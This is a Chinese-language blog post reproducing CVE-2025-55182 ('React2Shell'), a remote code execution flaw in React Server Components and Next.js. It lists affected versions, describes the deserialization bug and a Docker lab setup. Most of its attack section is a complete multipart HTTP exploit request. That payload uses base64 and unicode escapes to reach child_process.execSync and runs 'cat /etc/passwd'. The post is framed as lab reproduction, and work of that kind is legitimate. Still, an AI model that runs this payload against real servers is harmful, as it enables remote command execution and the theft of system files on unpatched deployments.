React2Shell CVE-2025-55182

影响版本

  • React 影响版本 == 19.0.0
  • React 影响版本 == 19.0.1
  • React 影响版本 == 19.1.0
  • React 影响版本 == 19.2.0
  • react-server-dom-webpack包 影响版本 == 19.0.0、19.0.1、19.1.0、19.1.1、19.2.0
  • react-server-dom-parcel包 影响版本 == 19.0.0、19.0.1、19.1.0、19.1.1、19.2.0
  • react-server-dom-turbopack包 影响版本 == 19.0.0、19.0.1、19.1.0、19.1.1、19.2.0
  • Next.js 影响版本 >= 14.3.0-canary.77
  • Next.js 15.0.0 <= 影响版本 < 15.0.5
  • Next.js 15.1.0 <= 影响版本 < 15.1.9
  • Next.js 15.2.0 <= 影响版本 < 15.2.6
  • Next.js 15.3.0 <= 影响版本 < 15.3.6
  • Next.js 15.4.0 <= 影响版本 < 15.4.8
  • Next.js 15.5.0 <= 影响版本 < 15.5.7
  • Next.js 16.0.0 <= 影响版本 < 16.0.7
  • Dify 1.1.2 <= 影响版本 < 1.10.1-fix.1

漏洞原理

React Server Components (RSC) 存在严重远程代码执行漏洞,漏洞编号CVE-2025-55182,在Next.js 中对应编号为 CVE-2025-66478。当服务器接收到来自客户端的通过 RSC Flight 协议发送过来的恶意 payload 时,React 在服务端反序列化这些 payload,重建 RSC 所需的内部模型结构。RSC 反序列化器允许从客户端传来的 payload 中指定一个“引用类型”,解析器会在服务端查找对应的模块或函数,并执行。

环境搭建

使用现成的环境复现 https://github.com/inwpu/RSC-VulnLab

安装一下 docker,网上教程很多。
设置代理:
sudo tee /etc/systemd/system/docker.service.d/proxy.conf >/dev/null <<'EOF'
[Service]
Environment="HTTP_PROXY=socks5h://172.16.9.131:7890"
Environment="HTTPS_PROXY=socks5h://172.16.9.131:7890"
Environment="NO_PROXY=localhost,127.0.0.1,::1"
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

sudo bash setup_rsc_two_cves_lab.sh

#搭建过程中 出现node:22-alpine无法下载的情况,我先把这个镜像下回来后,再次执行拉取脚本
sudo docker pull node:22-alpine
sudo bash setup_rsc_two_cves_lab.sh


image-20251225114720-uhep7vd

image-20251225141652-g8o8bnz

image-20251225141704-ur4vqmi

漏洞复现

POC https://github.com/xcanwin/CVE-2025-55182-React-RCE

POST / HTTP/1.1
Host: 172.16.117.154:3001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: test
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Length: 1486

------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="0"

"$@1"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="1"

{
    "\u0074\u0068\u0065\u006e": "$2:et",
    "status": "$2:es",
    "reason": "",
    "value": "$2:ev",
    "_response": "$2:er"
}
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="2"

{
    "et": "$3",
    "es": "$4",
    "ev": "{\"\u0074\u0068\u0065\u006e\":\"\u0024\u0042\"}",
    "er": {
        "_prefix": "$2:ep",
        "_formData": "$2:ef"
    },
    "ep": "$5",
    "ef": {
        "get": "$2:eg"
    },
    "eg": "$6"
}
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="3"

"$0:\u0074\u0068\u0065\u006e"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="4"

"\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="5"

"x='Y2F0IC9ldGMvcGFzc3dk';d=u=>Buffer.from(u,'bas'+'e64')+'';y=global[d('cHJvY2Vzcw==')][d('bWFpbk1vZHVsZQ==')][d('cmVxdWlyZQ==')](d('Y2hpbGRfcHJvY2Vzcw=='))[d('ZXhlY1N5bmM=')](d(x))+'';throw Object.assign(new Error(y),{digest:y});"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="6"

"$0:toString:\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad--
#Y2F0IC9ldGMvcGFzc3dk(cat /etc/passwd base64编码)

image-20251225144137-niv9a1t

image-20251225152758-uc9vc5q

修复方案

更新到安全版本。

posted @ 2026-01-07 15:38  Rodericklog  阅读(2)  评论(0)    收藏  举报